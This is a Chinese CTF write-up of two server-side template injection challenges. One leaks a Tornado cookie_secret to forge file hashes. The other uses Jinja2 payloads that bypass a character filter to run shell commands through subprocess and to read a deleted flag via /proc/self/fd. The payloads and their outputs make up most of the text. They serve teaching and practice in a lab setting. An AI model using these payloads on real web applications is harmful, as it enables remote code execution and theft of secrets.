web-ssti

[护网杯 2018]easy_tornado

先来简单点的,看到tornado就想到SSTI。
/flag.txt
/welcome.txt
/hints.txt

# /flag.txt&filehash=4ff91af1f26c440c33f2445a989a96c1
flag in /fllllllllllllag
#/welcome.txt&filehash=62878a8366faf65b1df1e2fad9f4bf51
render
#/hints.txt&filehash=18c530e494ea26cb9a13ac7b148e3859
md5(cookie_secret+md5(filename))
# http://37c995ea-990c-475b-b089-7cce248a2085.node3.buuoj.cn/error?msg={{2}},随便试了下报错页面,发现有ssti
# /error?msg={{handler.settings}}
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'e168e0e2-16af-42b1-8ac0-d0fd062b108e'} 
# hackbar算一下md5
/file?filename=/fllllllllllllag&filehash=e37c3b77188a18696719613926f990ea

[pasecactf_2019]flask_ssti

def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W34', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT5')

#post:nickname={{1+1}}
[♥♥♥2♥♥♥]
#找过滤
'
_
.
# 命令执行
# nickname={{""[request["values"]["class"]][request["values"]["mro"]][-1][request["values"]["subclasses"]]()[286]}}&class=__class__&mro=__mro__&subclasses=__subclasses__

#nickname={{""[request["values"]["class"]][request["values"]["mro"]][-1][request["values"]["subclasses"]]()[286][request["values"]["init"]][request["values"]["globals"]]["check\x5foutput"]([request["values"]["cmd"]])}}&class=__class__&mro=__mro__&subclasses=__subclasses__&init=__init__&globals=__globals__&cmd=ls
b'app.py\nrequirements.txt\nstatic\ntemplates\n', kOтO®Aя )(оТеЛ@ ©4@$tьЯ

#读文件
#nickname={{""[request["values"]["class"]][request["values"]["mro"]][-1][request["values"]["subclasses"]]()[91]}}&class=__class__&mro=__mro__&subclasses=__subclasses__
 
#nickname={{""[request["values"]["class"]][request["values"]["mro"]][-1][request["values"]["subclasses"]]()[91]["get\x5fdata"](0,"app\x2epy")}}&class=__class__&mro=__mro__&subclasses=__subclasses__
b'import random\r\nfrom flask import Flask, render_template_string, render_template, request\r\nimport os\r\n\r\napp = Flask(__name__)\r\napp.config[\'SECRET_KEY\'] = \'folow @osminogka.ann on instagram =)\'\r\n\r\n#Tiaonmmn don\'t remember to remove this part on deploy so nobody will solve that hehe\r\n\'\'\'\r\ndef encode(line, key, key2):\r\n return \'\'.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))\r\n\r\napp.config[\'flag\'] = encode(\'\', \'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3\', \'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT\')\r\n\'\'\'\r\n\r\ndef encode(line, key, key2):\r\n return \'\'.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))\r\n\r\nfile = open("/app/flag", "r")\r\nflag = file.read()\r\nflag = flag[:42]\r\n\r\napp.config[\'flag\'] = encode(flag, \'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3\', \'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT\')\r\nflag = ""\r\n\r\nos.remove("/app/flag")\r\n\r\nnicknames = [\'\xcb\x9c\xe2\x80\x9d*\xc2\xb0\xe2\x98\x85\xe2\x98\x86\xe2\x98\x85_%s_\xe2\x98\x85\xe2\x98\x86\xe2\x98\x85\xc2\xb0\xc2\xb0*\', \'%s ~\xe2\x99\xa1\xe2\x93\x9b\xe2\x93\x9e\xe2\x93\xa5\xe2\x93\x94\xe2\x99\xa1~\', \'%s \xd0\x92\xc3\xaa\xd1\x87\xd2\xa3\xc3\xb8 \xd0\xb2 \xc3\xb8\xc4\xa4\xd0\xbb\xc3\xa2\xd0\xb9\xc4\xa4\xc3\xa9\', \'\xe2\x99\xaa \xe2\x99\xaa \xe2\x99\xaa %s \xe2\x99\xaa \xe2\x99\xaa \xe2\x99\xaa \', \'[\xe2\x99\xa5\xe2\x99\xa5\xe2\x99\xa5%s\xe2\x99\xa5\xe2\x99\xa5\xe2\x99\xa5]\', \'%s, kO\xd1\x82O\xc2\xaeA\xd1\x8f )(\xd0\xbe\xd0\xa2\xd0\xb5\xd0\x9b@ \xc2\xa94@$t\xd1\x8c\xd0\xaf\', \'\xe2\x99\x94%s\xe2\x99\x94\', \'[\xe2\x99\x82+\xe2\x99\x82=\xe2\x99\xa5]%s[\xe2\x99\x82+\xe2\x99\x82=\xe2\x99\xa5]\']\r\n\r\[email protected](\'/\', methods=[\'GET\', \'POST\'])\r\ndef index():\r\n if request.method == \'POST\':\r\n try:\r\n p = request.values.get(\'nickname\')\r\n id = random.randint(0, len(nicknames) - 1)\r\n if p != None:\r\n if \'.\' in p or \'_\' in p or \'\\\'\' in p:\r\n return \'Your nickname contains restricted characters!\'\r\n return render_template_string(nicknames[id] % p)\r\n\r\n except Exception as e:\r\n print(e)\r\n return \'Exception\'\r\n\r\n return render_template(\'index.html\')\r\n\r\nif __name__ == \'__main__\':\r\n app.run(host=\'0.0.0.0\', port=1337)\r\n'
#nickname={{""[request["values"]["class"]][request["values"]["mro"]][-1][request["values"]["subclasses"]]()[286][request["values"]["init"]][request["values"]["globals"]]["check\x5foutput"]([request["values"]["cmd"]])}}&class=__class__&mro=__mro__&subclasses=__subclasses__&init=__init__&globals=__globals__&cmd=ps
b'PID USER TIME COMMAND\n 1 root 0:06 python app.py\n 276 root 0:00 ps\n' 
#python的pid为1,打开文件后没有关闭,所以从缓存里直接读/app/flag的值
#nickname={{""[request["values"]["class"]][request["values"]["mro"]][-1][request["values"]["subclasses"]]()[91]["get\x5fdata"](0,"/proc/self/fd/3")}}&class=__class__&mro=__mro__&subclasses=__subclasses__
flag{6c6f0fdc-8654-4906-937d-809f974dbf38}

#app.py代码中和flag相关的部分
def encode(line, key, key2):
    return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")

总结

  1. /proc/self/fd/n
标准输入0    从键盘获得输入 /proc/self/fd/0 
标准输出1    输出到屏幕(即控制台) /proc/self/fd/1 
错误输出2    输出到屏幕(即控制台) /proc/self/fd/2

你可能感兴趣的:(web-ssti)